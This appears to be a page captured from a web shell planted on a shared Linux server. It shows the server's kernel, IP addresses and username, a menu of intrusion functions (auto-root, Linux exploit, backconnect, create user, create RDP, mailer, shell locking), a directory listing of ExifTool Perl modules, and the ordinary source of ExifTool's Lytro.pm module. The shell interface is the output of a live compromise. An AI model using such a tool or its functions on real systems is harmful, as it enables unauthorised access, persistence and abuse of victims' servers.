Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Image /
ExifTool /
[ HOME SHELL ]
Name
Size
Permission
Action
Charset
[ DIR ]
drwxr-xr-x
Lang
[ DIR ]
drwxr-xr-x
AES.pm
18.66
KB
-rw-r--r--
AFCP.pm
10.38
KB
-rw-r--r--
AIFF.pm
9.59
KB
-rw-r--r--
APE.pm
9.06
KB
-rw-r--r--
APP12.pm
10.44
KB
-rw-r--r--
ASF.pm
30.21
KB
-rw-r--r--
Apple.pm
5.43
KB
-rw-r--r--
Audible.pm
11.52
KB
-rw-r--r--
BMP.pm
10.45
KB
-rw-r--r--
BPG.pm
7.53
KB
-rw-r--r--
BZZ.pm
17.46
KB
-rw-r--r--
BigTIFF.pm
11.27
KB
-rw-r--r--
BuildTagLookup.pm
121.94
KB
-rw-r--r--
CBOR.pm
11.51
KB
-rw-r--r--
Canon.pm
375.39
KB
-rw-r--r--
CanonCustom.pm
84.32
KB
-rw-r--r--
CanonRaw.pm
29.68
KB
-rw-r--r--
CanonVRD.pm
75.2
KB
-rw-r--r--
CaptureOne.pm
7.85
KB
-rw-r--r--
Casio.pm
62.21
KB
-rw-r--r--
Charset.pm
16.01
KB
-rw-r--r--
DICOM.pm
245.09
KB
-rw-r--r--
DJI.pm
6.31
KB
-rw-r--r--
DNG.pm
31.59
KB
-rw-r--r--
DPX.pm
9.51
KB
-rw-r--r--
DV.pm
9.75
KB
-rw-r--r--
DarwinCore.pm
15.43
KB
-rw-r--r--
DjVu.pm
12.46
KB
-rw-r--r--
EXE.pm
50.3
KB
-rw-r--r--
Exif.pm
246.64
KB
-rw-r--r--
FITS.pm
5.73
KB
-rw-r--r--
FLAC.pm
9.89
KB
-rw-r--r--
FLIF.pm
11.65
KB
-rw-r--r--
FLIR.pm
59.45
KB
-rw-r--r--
Fixup.pm
12.43
KB
-rw-r--r--
Flash.pm
27.5
KB
-rw-r--r--
FlashPix.pm
87.44
KB
-rw-r--r--
Font.pm
27.34
KB
-rw-r--r--
FotoStation.pm
7.97
KB
-rw-r--r--
FujiFilm.pm
54.47
KB
-rw-r--r--
GE.pm
2
KB
-rw-r--r--
GIF.pm
21.85
KB
-rw-r--r--
GIMP.pm
8.35
KB
-rw-r--r--
GPS.pm
19.53
KB
-rw-r--r--
GeoTiff.pm
87.51
KB
-rw-r--r--
Geotag.pm
62.87
KB
-rw-r--r--
GoPro.pm
28
KB
-rw-r--r--
H264.pm
39.29
KB
-rw-r--r--
HP.pm
8
KB
-rw-r--r--
HTML.pm
22.1
KB
-rw-r--r--
HtmlDump.pm
32.8
KB
-rw-r--r--
ICC_Profile.pm
45.63
KB
-rw-r--r--
ID3.pm
56.91
KB
-rw-r--r--
IPTC.pm
39.54
KB
-rw-r--r--
ISO.pm
6.81
KB
-rw-r--r--
ITC.pm
6.63
KB
-rw-r--r--
Import.pm
12.83
KB
-rw-r--r--
InDesign.pm
10.4
KB
-rw-r--r--
JPEG.pm
24.3
KB
-rw-r--r--
JPEGDigest.pm
212.38
KB
-rw-r--r--
JSON.pm
6.15
KB
-rw-r--r--
JVC.pm
3.57
KB
-rw-r--r--
Jpeg2000.pm
49.65
KB
-rw-r--r--
Kodak.pm
120.47
KB
-rw-r--r--
KyoceraRaw.pm
4.31
KB
-rw-r--r--
LIF.pm
4.66
KB
-rw-r--r--
LNK.pm
22.02
KB
-rw-r--r--
Leaf.pm
16.34
KB
-rw-r--r--
Lytro.pm
7.56
KB
-rw-r--r--
M2TS.pm
37.11
KB
-rw-r--r--
MIE.pm
102.09
KB
-rw-r--r--
MIEUnits.pod
13.68
KB
-rw-r--r--
MIFF.pm
9.05
KB
-rw-r--r--
MNG.pm
16.22
KB
-rw-r--r--
MOI.pm
4.14
KB
-rw-r--r--
MPC.pm
4.05
KB
-rw-r--r--
MPEG.pm
22.32
KB
-rw-r--r--
MPF.pm
8.94
KB
-rw-r--r--
MRC.pm
18.39
KB
-rw-r--r--
MWG.pm
30.64
KB
-rw-r--r--
MXF.pm
252.65
KB
-rw-r--r--
MacOS.pm
30.7
KB
-rw-r--r--
MakerNotes.pm
68.93
KB
-rw-r--r--
Matroska.pm
34.44
KB
-rw-r--r--
Microsoft.pm
52.13
KB
-rw-r--r--
Minolta.pm
99.93
KB
-rw-r--r--
MinoltaRaw.pm
16.49
KB
-rw-r--r--
Motorola.pm
5.31
KB
-rw-r--r--
Nikon.pm
431.96
KB
-rw-r--r--
NikonCapture.pm
28.13
KB
-rw-r--r--
NikonCustom.pm
290.78
KB
-rw-r--r--
NikonSettings.pm
71.88
KB
-rw-r--r--
Nintendo.pm
3.24
KB
-rw-r--r--
OOXML.pm
13.61
KB
-rw-r--r--
Ogg.pm
8.81
KB
-rw-r--r--
Olympus.pm
139.89
KB
-rw-r--r--
OpenEXR.pm
10.26
KB
-rw-r--r--
Opus.pm
2.22
KB
-rw-r--r--
Other.pm
2.63
KB
-rw-r--r--
PCX.pm
3.72
KB
-rw-r--r--
PDF.pm
90.77
KB
-rw-r--r--
PGF.pm
4.04
KB
-rw-r--r--
PICT.pm
33.2
KB
-rw-r--r--
PLIST.pm
17.07
KB
-rw-r--r--
PLUS.pm
147.71
KB
-rw-r--r--
PNG.pm
60.72
KB
-rw-r--r--
PPM.pm
4.97
KB
-rw-r--r--
PSP.pm
9.02
KB
-rw-r--r--
Palm.pm
11.9
KB
-rw-r--r--
Panasonic.pm
96.62
KB
-rw-r--r--
PanasonicRaw.pm
31.77
KB
-rw-r--r--
Parrot.pm
20.95
KB
-rw-r--r--
Pentax.pm
220.46
KB
-rw-r--r--
PhaseOne.pm
26.24
KB
-rw-r--r--
PhotoCD.pm
18.25
KB
-rw-r--r--
PhotoMechanic.pm
8.09
KB
-rw-r--r--
Photoshop.pm
43.36
KB
-rw-r--r--
PostScript.pm
29.11
KB
-rw-r--r--
PrintIM.pm
3.44
KB
-rw-r--r--
Qualcomm.pm
43.43
KB
-rw-r--r--
QuickTime.pm
409.72
KB
-rw-r--r--
QuickTimeStream.pl
126.03
KB
-rw-r--r--
RIFF.pm
70.97
KB
-rw-r--r--
RSRC.pm
9.58
KB
-rw-r--r--
RTF.pm
13.46
KB
-rw-r--r--
Radiance.pm
4.56
KB
-rw-r--r--
Rawzor.pm
6.17
KB
-rw-r--r--
Real.pm
26.89
KB
-rw-r--r--
Reconyx.pm
14.2
KB
-rw-r--r--
Red.pm
10.82
KB
-rw-r--r--
Ricoh.pm
37.18
KB
-rw-r--r--
Samsung.pm
54.64
KB
-rw-r--r--
Sanyo.pm
11.83
KB
-rw-r--r--
Scalado.pm
3.91
KB
-rw-r--r--
Shift.pl
23.28
KB
-rw-r--r--
Shortcuts.pm
9.81
KB
-rw-r--r--
Sigma.pm
33.16
KB
-rw-r--r--
SigmaRaw.pm
23.45
KB
-rw-r--r--
Sony.pm
439.69
KB
-rw-r--r--
SonyIDC.pm
11.95
KB
-rw-r--r--
Stim.pm
4.53
KB
-rw-r--r--
TagInfoXML.pm
33.14
KB
-rw-r--r--
TagLookup.pm
647.18
KB
-rw-r--r--
TagNames.pod
1.76
MB
-rw-r--r--
Text.pm
8.12
KB
-rw-r--r--
Theora.pm
3.41
KB
-rw-r--r--
Torrent.pm
11.58
KB
-rw-r--r--
Unknown.pm
1.69
KB
-rw-r--r--
VCard.pm
17.31
KB
-rw-r--r--
Validate.pm
29.75
KB
-rw-r--r--
Vorbis.pm
8.13
KB
-rw-r--r--
WTV.pm
12.97
KB
-rw-r--r--
WriteCanonRaw.pl
24.29
KB
-rw-r--r--
WriteExif.pl
130.6
KB
-rw-r--r--
WriteIPTC.pl
29.6
KB
-rw-r--r--
WritePDF.pl
29.02
KB
-rw-r--r--
WritePNG.pl
16.07
KB
-rw-r--r--
WritePhotoshop.pl
10.85
KB
-rw-r--r--
WritePostScript.pl
26.71
KB
-rw-r--r--
WriteQuickTime.pl
89.63
KB
-rw-r--r--
WriteXMP.pl
70.49
KB
-rw-r--r--
Writer.pl
301.76
KB
-rw-r--r--
XMP.pm
176.89
KB
-rw-r--r--
XMP2.pl
81.66
KB
-rw-r--r--
XMPStruct.pl
36.66
KB
-rw-r--r--
ZIP.pm
27.61
KB
-rw-r--r--
ZISRAW.pm
7.85
KB
-rw-r--r--
iWork.pm
7.79
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Lytro.pm
#------------------------------------------------------------------------------ # File: Lytro.pm # # Description: Read Lytro LFP files # # Revisions: 2014-07-17 - P. Harvey Created # # References: 1) http://optics.miloush.net/lytro/TheFileFormat.aspx #------------------------------------------------------------------------------ package Image::ExifTool::Lytro; use strict; use vars qw($VERSION); use Image::ExifTool qw(:DataAccess :Utils); use Image::ExifTool::Import; $VERSION = '1.03'; sub ExtractTags($$$); # Lytro LFP tags (ref PH) %Image::ExifTool::Lytro::Main = ( GROUPS => { 2 => 'Camera' }, VARS => { NO_ID => 1 }, NOTES => q{ Tag definitions for Lytro Light Field Picture (LFP) files. ExifTool extracts the full JSON metadata blocks, as well as breaking them down into individual tags. All available tags are extracted from the JSON metadata, even if they don't appear in the table below. }, JSONMetadata => { Notes => 'the full JSON-format metadata blocks', Binary => 1, List => 1, }, EmbeddedImage => { Notes => 'JPEG image embedded in LFP files written by Lytro Desktop', Groups => { 2 => 'Preview' }, Binary => 1, }, Type => { Name => 'CameraType' }, CameraMake => { Name => 'Make' }, CameraModel => { Name => 'Model', Description => 'Camera Model Name' }, CameraSerialNumber => { Name => 'SerialNumber'}, CameraFirmware => { Name => 'FirmwareVersion'}, DevicesAccelerometerSampleArrayTime => { Name => 'AccelerometerTime'}, DevicesAccelerometerSampleArrayX => { Name => 'AccelerometerX'}, DevicesAccelerometerSampleArrayY => { Name => 'AccelerometerY'}, DevicesAccelerometerSampleArrayZ => { Name => 'AccelerometerZ'}, DevicesClockZuluTime => { Name => 'DateTimeOriginal', Description => 'Date/Time Original', Groups => { 2 => 'Time' }, ValueConv => 'require Image::ExifTool::XMP; Image::ExifTool::XMP::ConvertXMPDate($val)', PrintConv => '$self->ConvertDateTime($val)', }, DevicesLensFNumber => { Name => 'FNumber', PrintConv => 'Image::ExifTool::Exif::PrintFNumber($val)', }, DevicesLensFocalLength => { Name => 'FocalLength', ValueConv => '$val * 1000', # convert from metres to mm PrintConv => 'sprintf("%.1f mm",$val)', }, DevicesLensTemperature => { Name => 'LensTemperature', PrintConv => 'sprintf("%.1f C",$val)', }, DevicesSocTemperature => { Name => 'SocTemperature', PrintConv => 'sprintf("%.1f C",$val)', }, DevicesShutterFrameExposureDuration => { Name => 'FrameExposureTime', PrintConv => 'Image::ExifTool::Exif::PrintExposureTime($val)', }, DevicesShutterPixelExposureDuration => { Name => 'ExposureTime', PrintConv => 'Image::ExifTool::Exif::PrintExposureTime($val)', }, DevicesSensorPixelPitch => { Name => 'FocalPlaneXResolution', Notes => 'Y resolution is the same as X resolution', ValueConv => '25.4 / $val / 1000', # convert from metres to pixels/inch }, DevicesSensorSensorSerial => { Name => 'SensorSerialNumber'}, DevicesSensorIso => { Name => 'ISO' }, ImageLimitExposureBias => { Groups => { 2 => 'Image' }, PrintConv => 'sprintf("%+.1f", $val)' }, ImageModulationExposureBias => { Groups => { 2 => 'Image' }, PrintConv => 'sprintf("%+.1f", $val)' }, ImageOrientation => { Name => 'Orientation', Groups => { 2 => 'Image' }, PrintConv => { 1 => 'Horizontal (normal)', }, }, ); #------------------------------------------------------------------------------ # Extract tags from a parsed JSON hash # Inputs: 0) ExifTool ref, 1) tag hash ref, 2) base tag name sub ExtractTags($$$) { my ($et, $meta, $parent) = @_; ref $meta eq 'HASH' or $et->Warn('Invalid LFP metadata'), return; my ($key, $val, $name, $tagTablePtr); foreach $key (sort keys %$meta) { my $tag = $parent . ucfirst($key); foreach $val (ref $$meta{$key} eq 'ARRAY' ? @{$$meta{$key}} : $$meta{$key}) { ref $val eq 'HASH' and ExtractTags($et, $val, $tag), next; $tagTablePtr or $tagTablePtr = GetTagTable('Image::ExifTool::Lytro::Main'); unless ($$tagTablePtr{$tag}) { ($name = $tag) =~ s/[^-_a-zA-Z0-9](.?)/\U$1/g; $name =~ s/ParametersVendorContentComLytroTags//; my %tagInfo; $tagInfo{Groups} = { 2 => 'Image' } unless $name =~ s/^Devices//; $tagInfo{List} = 1 if ref $$meta{$key} eq 'ARRAY'; $tagInfo{Name} = $name; my $str = $tag eq $name ? '' : " as $name"; $et->VPrint(0, " [adding $tag$str]\n"); AddTagToTable($tagTablePtr, $tag, \%tagInfo); } $et->HandleTag($tagTablePtr, $tag, $val); } } } #------------------------------------------------------------------------------ # Process segments from a Lytro LFP image # Inputs: 0) ExifTool object reference, 1) dirInfo reference # Returns: 1 on success, 0 if this wasn't a valid Lytro image sub ProcessLFP($$) { my ($et, $dirInfo) = @_; my $raf = $$dirInfo{RAF}; my $verbose = $et->Options('Verbose'); my ($buff, $id); # validate the Lytro file header return 0 unless $raf->Read($buff, 16) == 16 and $buff =~ /^\x89LFP\x0d\x0a\x1a\x0a/; $et->SetFileType(); # set the FileType tag SetByteOrder('MM'); my $tagTablePtr = GetTagTable('Image::ExifTool::Lytro::Main'); while ($raf->Read($buff, 16) == 16) { $buff =~ /^\x89LF/ or $et->Warn('LFP format error'), last; my $size = Get32u(\$buff, 12); $size & 0x80000000 and $et->Warn('Invalid LFP segment size'), last; $raf->Read($id, 80) == 80 or $et->Warn('Truncated LFP segment'), last; # ignore the sha1 if ($verbose) { $id =~ s/\0.*//s; $et->VPrint(0, substr($buff,1,3), " segment ($size bytes, $id)\n"); } if ($size > 20000000) { $raf->Seek($size, 1) or $et->Warn('Seek error in LFP file'), last; } else { $raf->Read($buff,$size) == $size or $et->Warn('Truncated LFP data'), last; $et->VerboseDump(\$buff, Addr=>$raf->Tell()-$size); if ($buff =~ /^\{\s+"/) { # JSON metadata? pos($buff) = 0; $et->HandleTag($tagTablePtr, 'JSONMetadata', $buff); my $meta = Image::ExifTool::Import::ReadJSONObject(undef, \$buff); ExtractTags($et, $meta, ''); } elsif ($buff =~ /^\xff\xd8\xff/) { # embedded JPEG image? $et->HandleTag($tagTablePtr, 'EmbeddedImage', $buff); } } # skip padding if necessary my $pad = 16 - ($size % 16); $raf->Seek($pad, 1) if $pad != 16; } return 1; } 1; # end __END__ =head1 NAME Image::ExifTool::Lytro - Read Lytro LFP files =head1 SYNOPSIS This module is used by Image::ExifTool =head1 DESCRIPTION This module contains routines required by Image::ExifTool to read metadata from Lytro Light Field Picture (LFP) files. =head1 AUTHOR Copyright 2003-2022, Phil Harvey (philharvey66 at gmail.com) This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =head1 REFERENCES =over 4 =item L<http://optics.miloush.net/lytro/TheFileFormat.aspx> =back =head1 SEE ALSO L<Image::ExifTool::TagNames/Lytro Tags>, L<Image::ExifTool(3pm)|Image::ExifTool> =cut
Close